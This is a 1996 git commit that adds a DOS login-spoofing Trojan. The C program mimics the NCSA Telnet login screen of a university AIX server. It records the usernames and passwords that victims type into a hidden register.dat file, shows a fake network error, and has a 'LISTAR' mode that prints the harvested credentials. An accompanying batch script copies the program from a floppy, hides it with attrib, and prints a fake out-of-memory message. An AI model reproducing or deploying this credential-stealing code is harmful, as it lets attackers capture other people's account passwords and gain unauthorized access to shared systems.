First commit 10/04/1996
This commit is contained in:
		
							
								
								
									
										11
									
								
								CP.BAT
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										11
									
								
								CP.BAT
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,11 @@
 | 
			
		||||
@echo off
 | 
			
		||||
@copy a:\top\telnet.exe c:\
 | 
			
		||||
@cls
 | 
			
		||||
@copy a:\top\register.dat c:\
 | 
			
		||||
@cls
 | 
			
		||||
@attrib +h +r c:\telnet.exe
 | 
			
		||||
@cls
 | 
			
		||||
@attrib +h    c:\register.dat
 | 
			
		||||
@cls
 | 
			
		||||
@echo Not enought memory.
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										9
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										9
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,9 @@
 | 
			
		||||
#GALILEO 
 | 
			
		||||
 
 | 
			
		||||
 
 | 
			
		||||
*10/04/1996* 
 | 
			
		||||
 
 | 
			
		||||
ToDo: wwtcf? 
 | 
			
		||||
 
 | 
			
		||||
 
 | 
			
		||||
 
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								REGISTER.DAT
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								REGISTER.DAT
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										467
									
								
								TELNET.C
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										467
									
								
								TELNET.C
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,467 @@
 | 
			
		||||
/*
 | 
			
		||||
// Emulador de Telnet para GALILEO
 | 
			
		||||
*/
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
#include <string.h>
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <stdlib.h>
 | 
			
		||||
#include <conio.h>
 | 
			
		||||
#include <dos.h>
 | 
			
		||||
 | 
			
		||||
/* The clock tick interrupt */
 | 
			
		||||
#define INTR 0x1C
 | 
			
		||||
#define ATTR 0x1E00
 | 
			
		||||
#ifdef __cplusplus
 | 
			
		||||
    #define __CPPARGS ...
 | 
			
		||||
#else
 | 
			
		||||
    #define __CPPARGS
 | 
			
		||||
#endif
 | 
			
		||||
 | 
			
		||||
typedef unsigned int (far *s_arrayptr);
 | 
			
		||||
 | 
			
		||||
#define NUMERO_DE_LINEAS   59 //64   /* N<> de lineas de texto */
 | 
			
		||||
 | 
			
		||||
#define LINEA1      7
 | 
			
		||||
#define DELAY1    150
 | 
			
		||||
 | 
			
		||||
#define LINEA2     25
 | 
			
		||||
#define DELAY2    200
 | 
			
		||||
 | 
			
		||||
#define LINEA3     38
 | 
			
		||||
#define CORTEN     46
 | 
			
		||||
#define DELAY3     70
 | 
			
		||||
 | 
			
		||||
#define DELAY4     90
 | 
			
		||||
#define DELAY5    100
 | 
			
		||||
#define EPASSWORD 200
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
#define OPEN       1
 | 
			
		||||
#define CLOSE      0
 | 
			
		||||
#define GET        1
 | 
			
		||||
#define PUT        0
 | 
			
		||||
 | 
			
		||||
char buffer_L[255];
 | 
			
		||||
FILE *handle;
 | 
			
		||||
 | 
			
		||||
typedef struct
 | 
			
		||||
{
 | 
			
		||||
 struct date Fecha;
 | 
			
		||||
 struct time Hora;
 | 
			
		||||
 char code;
 | 
			
		||||
 int  nreg;
 | 
			
		||||
} Header;
 | 
			
		||||
 | 
			
		||||
typedef struct
 | 
			
		||||
{
 | 
			
		||||
 char login[30];
 | 
			
		||||
 char passw[30];
 | 
			
		||||
} Login_Passw;
 | 
			
		||||
 | 
			
		||||
Header       header;
 | 
			
		||||
Login_Passw      LP;
 | 
			
		||||
 | 
			
		||||
void interrupt ( *oldhandler)(__CPPARGS);
 | 
			
		||||
void interrupt handler(__CPPARGS);
 | 
			
		||||
void clock_tsr(char ON_OFF);
 | 
			
		||||
char debuglog(char Action);
 | 
			
		||||
void listar(void);
 | 
			
		||||
void Fin(void);
 | 
			
		||||
 | 
			
		||||
//char texto[NUMERO_DE_LINEAS][81];
 | 
			
		||||
char *texto[81] =
 | 
			
		||||
 { "National Center for Supercomputing Applications"
 | 
			
		||||
 , "NCSA Telnet 2.3.05 for the PC"
 | 
			
		||||
 , ""
 | 
			
		||||
 , "Alt-H presents a summary of special keys"
 | 
			
		||||
 , ""
 | 
			
		||||
 , "International keyboard support by Chiquito San"
 | 
			
		||||
 , "Te da cuen pecadol. Triana.   ."
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , "AIX telnet (galileo)"
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , ""
 | 
			
		||||
 , "                 ###     #    #     #   #     ####    ###"
 | 
			
		||||
 , "                #   #   # #   #     #   #     #      #   #"
 | 
			
		||||
 , "                #      #   #  #     #   #     #      #   #"
 | 
			
		||||
 , "                #  ##  #####  #     #   #     ####   #   #"
 | 
			
		||||
 , "                #   #  #   #  #     #   #     #      #   #"
 | 
			
		||||
 , "                #   #  #   #  #     #   #     #      #   #"
 | 
			
		||||
 , "                 ####  #   #  ####  #   ####  #####   ###"
 | 
			
		||||
 , ""
 | 
			
		||||
 , "                            Centro de calculo"
 | 
			
		||||
 , ""
 | 
			
		||||
 , "                  Facultad de Informatica y Estadistica"
 | 
			
		||||
 , ""
 | 
			
		||||
 , "    ------------------------------------------------------------------------"
 | 
			
		||||
 , "    |    IBM POWERserver 950 bajo AIX 3.2.5                                |"
 | 
			
		||||
 , "    |                                                                      |"
 | 
			
		||||
 , "    |    Informacion rapida sobre AIX:    ayuda                            |"
 | 
			
		||||
 , "    |    Para cualquier sugerencia:       mail root                        |"
 | 
			
		||||
 , "    |    Aplicaciones instaladas:         GNU C/C++, ZIP/UNZIP, GenHLP     |"
 | 
			
		||||
 , "    |                                     ELM, Utils.GNU, Utils.X11R4      |"
 | 
			
		||||
 , "    |                                                                      |"
 | 
			
		||||
 , "    ------------------------------------------------------------------------"
 | 
			
		||||
 , ""
 | 
			
		||||
 , "********************************************************************************"
 | 
			
		||||
 , "*  IBM RISC POWERserver 950 bajo AIX 3.2.5.                                    *"
 | 
			
		||||
 , "*                                                                              *"
 | 
			
		||||
 , "*  Aplicaciones instaladas:     /usr/local/bin                                 *"
 | 
			
		||||
 , "*  - Nuevas utilidades:         XWP, SCREENS, EMACS, BASH                      *"
 | 
			
		||||
 , "*                                                                              *"
 | 
			
		||||
 , "* Programas de uso p<>blico:     /home/pub                                      *"
 | 
			
		||||
 , "*                                                                              *"
 | 
			
		||||
 , "* Pr<50>cticas y apuntes:          /home/cursos                                   *"
 | 
			
		||||
 , "*                                                                              *"
 | 
			
		||||
// , "* NUEVA VERSION DE COMPILADOR DE ADA: GNAT en /home/cursos/GNAT                *"
 | 
			
		||||
// , "*                                                                              *"
 | 
			
		||||
// , "* POR FAVOR!!! ELIMINEN ESPACIO DE SUS CUENTAS A FIN DE LIBERAR ESPACIO EN     *"
 | 
			
		||||
// , "*              DISCO QUE PERMITA EN TRABAJO DE TODOS. SE RECUERDA QUE EL       *"
 | 
			
		||||
// , "*              LIMITE SON 2 MB POR CUENTA DE USUARIOS                          *"
 | 
			
		||||
 , "********************************************************************************"
 | 
			
		||||
 , ""
 | 
			
		||||
 };
 | 
			
		||||
int InputCadenaT(char *s, int lmax, char cf);
 | 
			
		||||
 | 
			
		||||
 int i;
 | 
			
		||||
 char buffer[4096], row, LogPass, *pass;
 | 
			
		||||
 | 
			
		||||
void main(int argc, char *argv[])
 | 
			
		||||
{
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 if ( argc==2 && strcmp(argv[1], "LISTAR") == 0 )
 | 
			
		||||
 {
 | 
			
		||||
	listar();
 | 
			
		||||
	return;
 | 
			
		||||
 }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 if ( debuglog(OPEN)==1 )
 | 
			
		||||
 {
 | 
			
		||||
	system( "F:TELNET" );
 | 
			
		||||
	return;
 | 
			
		||||
 }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 gettext(1, 1, 80, 25, buffer);
 | 
			
		||||
 row = wherey();
 | 
			
		||||
 | 
			
		||||
 clrscr();
 | 
			
		||||
 printf("NCSA Telnet 2.3.05 for the PC");
 | 
			
		||||
 delay(500);
 | 
			
		||||
 textcolor(YELLOW);
 | 
			
		||||
 textbackground(BLUE);
 | 
			
		||||
 clrscr();
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
	textbackground(GREEN);
 | 
			
		||||
	textcolor(BLUE);
 | 
			
		||||
	gotoxy(1, 25);
 | 
			
		||||
	cprintf("* galileo     " ); /* 12:34:00 */
 | 
			
		||||
	clock_tsr(OPEN);
 | 
			
		||||
	gotoxy(1, 1);
 | 
			
		||||
	window(1, 1, 80, 24);
 | 
			
		||||
	textbackground(BLUE);
 | 
			
		||||
	textcolor(YELLOW);
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 for( i=0; i<=CORTEN; i++)
 | 
			
		||||
 {
 | 
			
		||||
  cprintf("%s\r\n", texto[i] );
 | 
			
		||||
  if ( i >=      0 && i<= LINEA1 )
 | 
			
		||||
				  delay(DELAY1);
 | 
			
		||||
  else
 | 
			
		||||
  if ( i >= LINEA1 && i<= LINEA2 )
 | 
			
		||||
				  delay(DELAY2);
 | 
			
		||||
  else
 | 
			
		||||
  if ( i >= LINEA2 && i<= LINEA3 )
 | 
			
		||||
				  delay(DELAY3);
 | 
			
		||||
  else
 | 
			
		||||
				  delay(DELAY4);
 | 
			
		||||
 }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
       cprintf( "Usuario: " );
 | 
			
		||||
 | 
			
		||||
       LogPass = CLOSE;
 | 
			
		||||
       while( LogPass == CLOSE )
 | 
			
		||||
       {
 | 
			
		||||
	 LogPass = OPEN;
 | 
			
		||||
 | 
			
		||||
	 InputCadenaT( buffer_L, 254, 0);
 | 
			
		||||
	 strncpy( LP.login, buffer_L, 30 );
 | 
			
		||||
 | 
			
		||||
	 cprintf( "\r\nContrase<EFBFBD>a de %.8s: ", LP.login );
 | 
			
		||||
	 InputCadenaT( buffer_L, 254, 1);
 | 
			
		||||
	 strncpy( LP.passw, buffer_L, 30 );
 | 
			
		||||
 | 
			
		||||
	 if ( strlen( LP.login ) > 8 ) LogPass = CLOSE;
 | 
			
		||||
	 if ( strlen( LP.passw ) < 6 ) LogPass = CLOSE;
 | 
			
		||||
 | 
			
		||||
	 if ( LogPass == CLOSE )
 | 
			
		||||
	  {
 | 
			
		||||
	   delay(EPASSWORD);
 | 
			
		||||
	   cprintf( "\r\n3004-007 Ha entrado un nombre o contrase<73>a de inicio de sesi<73>n no v<>lido.");
 | 
			
		||||
	   cprintf( "\r\ninicio sesi<73>n: ");
 | 
			
		||||
	  }
 | 
			
		||||
 | 
			
		||||
       };
 | 
			
		||||
 | 
			
		||||
 debuglog(CLOSE);  /* PASSWORD HOOKED!!! OH YEAAAA... */
 | 
			
		||||
 | 
			
		||||
 cprintf("\r\n");
 | 
			
		||||
 for( i=CORTEN; i<NUMERO_DE_LINEAS; i++)
 | 
			
		||||
 {
 | 
			
		||||
  cprintf("%s", texto[i] );
 | 
			
		||||
  delay(DELAY5);
 | 
			
		||||
 }
 | 
			
		||||
 | 
			
		||||
 sleep(3);
 | 
			
		||||
 Fin();
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void Fin(void)
 | 
			
		||||
{
 | 
			
		||||
 /*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
 | 
			
		||||
 int ch;
 | 
			
		||||
 cprintf("\r\n\r\n");
 | 
			
		||||
 clock_tsr(CLOSE);
 | 
			
		||||
 window(1, 1, 80, 25);
 | 
			
		||||
 puttext(1, 1, 80, 25, buffer);
 | 
			
		||||
 gotoxy( 1, row );
 | 
			
		||||
 /*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
 | 
			
		||||
 printf("\nSHELL-332-80: Network Error on Server PEGASO. Connection no longer valid.\n");
 | 
			
		||||
 do
 | 
			
		||||
  {
 | 
			
		||||
	 printf("Abort, Retry? ");
 | 
			
		||||
	 ch = getch();
 | 
			
		||||
  }while( toupper( ch ) != 'A' && toupper( ch ) != 'R' );
 | 
			
		||||
 | 
			
		||||
 if ( toupper(ch) == 'A' )
 | 
			
		||||
			printf( "Abort\n" );
 | 
			
		||||
 else {
 | 
			
		||||
			printf( "Retry\n" );
 | 
			
		||||
			sleep(2);
 | 
			
		||||
      }
 | 
			
		||||
 printf("\n**Program Aborted**\n");
 | 
			
		||||
 printf("Error de Interrupci<63>n 15\n\n");
 | 
			
		||||
 /*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
char debuglog(char Action)
 | 
			
		||||
{
 | 
			
		||||
 struct date  fc;
 | 
			
		||||
 struct time  hc;
 | 
			
		||||
 | 
			
		||||
 getdate( &fc );
 | 
			
		||||
 gettime( &hc );
 | 
			
		||||
 | 
			
		||||
 if ( Action == OPEN )
 | 
			
		||||
 {
 | 
			
		||||
  if ( (handle = fopen( "register.dat", "r+b" ) ) == NULL )
 | 
			
		||||
   {
 | 
			
		||||
     /*// Create a new file ( hook login's )*/
 | 
			
		||||
     if ( (handle = fopen( "register.dat", "wb" ) ) == NULL )
 | 
			
		||||
							return 1;
 | 
			
		||||
     rewind(handle);
 | 
			
		||||
     header.Fecha = fc;
 | 
			
		||||
     header.Hora  = hc;
 | 
			
		||||
     header.code  = 26;
 | 
			
		||||
     header.nreg  =  0;
 | 
			
		||||
     fwrite( &header, sizeof(Header), 1, handle);
 | 
			
		||||
     fclose(handle);
 | 
			
		||||
     if ( (handle = fopen( "register.dat", "r+b" ) ) == NULL )
 | 
			
		||||
							return 1;
 | 
			
		||||
   } else {
 | 
			
		||||
    rewind(handle);
 | 
			
		||||
    fread( &header, sizeof(Header), 1, handle);
 | 
			
		||||
    if ( header.Fecha.da_day == fc.da_day && (hc.ti_min-header.Hora.ti_min) <= 5 )
 | 
			
		||||
    {
 | 
			
		||||
								fclose(handle);
 | 
			
		||||
								return 1;
 | 
			
		||||
    } else {
 | 
			
		||||
     rewind(handle);
 | 
			
		||||
     header.Fecha = fc;     header.Hora  = hc;     header.code  = 26; header.nreg++;
 | 
			
		||||
     fwrite( &header, sizeof(Header), 1, handle);
 | 
			
		||||
    }
 | 
			
		||||
   }
 | 
			
		||||
 } else {
 | 
			
		||||
   fseek( handle, ((header.nreg*sizeof(Login_Passw))+sizeof(Header)), SEEK_SET );
 | 
			
		||||
   fwrite( &LP, sizeof(Login_Passw), 1, handle);
 | 
			
		||||
  fclose( handle );
 | 
			
		||||
 }
 | 
			
		||||
 | 
			
		||||
 return 0;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void listar(void)
 | 
			
		||||
{
 | 
			
		||||
 int i;
 | 
			
		||||
 | 
			
		||||
 if ( (handle = fopen( "register.dat", "rb" ) ) == NULL ) { cprintf( "NO PASSWORD HOOKED :-(\n\r"); return; }
 | 
			
		||||
 rewind(handle);
 | 
			
		||||
 fread( &header, sizeof(Header), 1, handle );
 | 
			
		||||
 | 
			
		||||
 cprintf( "FuTuRe ViSiOn, Your wish are order for me. :-)\n\r"  );
 | 
			
		||||
 for( i=0; i <= header.nreg; i++)
 | 
			
		||||
 {
 | 
			
		||||
  fread( &LP, sizeof(Login_Passw), 1, handle);
 | 
			
		||||
  cprintf( "Login: %25s  Password!!! %25s\n\r", LP.login, LP.passw );
 | 
			
		||||
 }
 | 
			
		||||
 | 
			
		||||
 fclose(handle);
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
void clock_tsr(char ON_OFF)
 | 
			
		||||
{
 | 
			
		||||
 | 
			
		||||
 if ( ON_OFF == OPEN )
 | 
			
		||||
 {
 | 
			
		||||
	/* get the address of the current clock
 | 
			
		||||
	   tick interrupt */
 | 
			
		||||
	oldhandler = getvect(INTR);
 | 
			
		||||
 | 
			
		||||
	/* install the new interrupt handler */
 | 
			
		||||
	setvect(INTR, handler);
 | 
			
		||||
 }else
 | 
			
		||||
 if ( ON_OFF == CLOSE )
 | 
			
		||||
 {
 | 
			
		||||
	/* restore the address of the old clock
 | 
			
		||||
	   tick interrupt */
 | 
			
		||||
	setvect(INTR, oldhandler);
 | 
			
		||||
 | 
			
		||||
 }
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
void interrupt handler(__CPPARGS)
 | 
			
		||||
{
 | 
			
		||||
     s_arrayptr screen[80];
 | 
			
		||||
     static unsigned char h, m, s, c;
 | 
			
		||||
     screen[0] = (s_arrayptr) MK_FP(0xB800,0);
 | 
			
		||||
 | 
			
		||||
/* put the number on the screen */
 | 
			
		||||
     asm {
 | 
			
		||||
      mov ah, 0x02
 | 
			
		||||
      int 0x1A
 | 
			
		||||
      mov h, ch
 | 
			
		||||
      mov m, cl
 | 
			
		||||
      mov s, dh
 | 
			
		||||
     }
 | 
			
		||||
     c = h;
 | 
			
		||||
     screen[0][1992] = (h >> 4)   + '0' + ATTR;
 | 
			
		||||
     screen[0][1993] = (c & 0x0F) + '0' + ATTR;
 | 
			
		||||
    screen[0][1994] = 		   ':' + ATTR;
 | 
			
		||||
     c = m;
 | 
			
		||||
     screen[0][1995] = (m >> 4)   + '0' + ATTR;
 | 
			
		||||
     screen[0][1996] = (c & 0x0F) + '0' + ATTR;
 | 
			
		||||
    screen[0][1997] = 		   ':' + ATTR;
 | 
			
		||||
     c = s;
 | 
			
		||||
     screen[0][1998] = (s >> 4)   + '0' + ATTR;
 | 
			
		||||
     screen[0][1999] = (c & 0x0F) + '0' + ATTR;
 | 
			
		||||
 | 
			
		||||
/* call the old interrupt handler */
 | 
			
		||||
   oldhandler();
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
int InputCadenaT(char *s, int lmax, char cf)
 | 
			
		||||
{
 | 
			
		||||
 enum { CR = 13, BS = 8, ALTH = 35 };
 | 
			
		||||
 char Buffer[4096];
 | 
			
		||||
 char px = wherex(), p1;
 | 
			
		||||
 char py = wherey(), p2;
 | 
			
		||||
 char hicode = 0;
 | 
			
		||||
 | 
			
		||||
 char buf[255];
 | 
			
		||||
 int ls;
 | 
			
		||||
 char *s1;
 | 
			
		||||
 int i, c, ok;
 | 
			
		||||
 | 
			
		||||
 s1 = s; s[0] = '\0';
 | 
			
		||||
 | 
			
		||||
 ls = 0;
 | 
			
		||||
 s += ls;
 | 
			
		||||
 gotoxy(px, py);
 | 
			
		||||
 do {
 | 
			
		||||
     hicode = 0;
 | 
			
		||||
     c = getch();
 | 
			
		||||
     ok = (c == CR);
 | 
			
		||||
     if ( c == 0 ) {
 | 
			
		||||
		    hicode = 1;
 | 
			
		||||
		    switch(c = getch())
 | 
			
		||||
		    {
 | 
			
		||||
		     case ALTH:
 | 
			
		||||
			     p1 = wherex(); p2 = wherey();
 | 
			
		||||
			     gettext(1, 1, 80, 25, Buffer);
 | 
			
		||||
			     clrscr();
 | 
			
		||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 | 
			
		||||
//			     cprintf( " Help text do not found !!! " );
 | 
			
		||||
Fin();
 | 
			
		||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 | 
			
		||||
			     getch();
 | 
			
		||||
			     puttext(1, 1, 80, 25, Buffer);
 | 
			
		||||
			     gotoxy( p1, p2 );
 | 
			
		||||
			     break;
 | 
			
		||||
		     default:
 | 
			
		||||
			hicode = 0;
 | 
			
		||||
		    }
 | 
			
		||||
     }
 | 
			
		||||
     if ( !ok && hicode == 0)
 | 
			
		||||
     switch( c )
 | 
			
		||||
     {
 | 
			
		||||
      case BS:
 | 
			
		||||
		if ( ls > 0 )
 | 
			
		||||
		 {
 | 
			
		||||
		  ls --;
 | 
			
		||||
		  s--;
 | 
			
		||||
		  if(cf!=1)
 | 
			
		||||
		  {
 | 
			
		||||
			  gotoxy( px+ls, py );
 | 
			
		||||
			  putch(' ');
 | 
			
		||||
			  gotoxy( px+ls, py );
 | 
			
		||||
		  } else  gotoxy( px, py );
 | 
			
		||||
		 }
 | 
			
		||||
		break;
 | 
			
		||||
      default:
 | 
			
		||||
		if ( ls < lmax )
 | 
			
		||||
		{
 | 
			
		||||
		 *s++ = c;
 | 
			
		||||
		 ls++;
 | 
			
		||||
		 if(cf==1) gotoxy( px, py );
 | 
			
		||||
		 else putch(c);
 | 
			
		||||
		}
 | 
			
		||||
		break;
 | 
			
		||||
     }
 | 
			
		||||
 | 
			
		||||
 } while ( ! ok );
 | 
			
		||||
 | 
			
		||||
 *s = 0;
 | 
			
		||||
 return ls;
 | 
			
		||||
}
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								TELNET.EXE
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								TELNET.EXE
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
		Reference in New Issue
	
	Block a user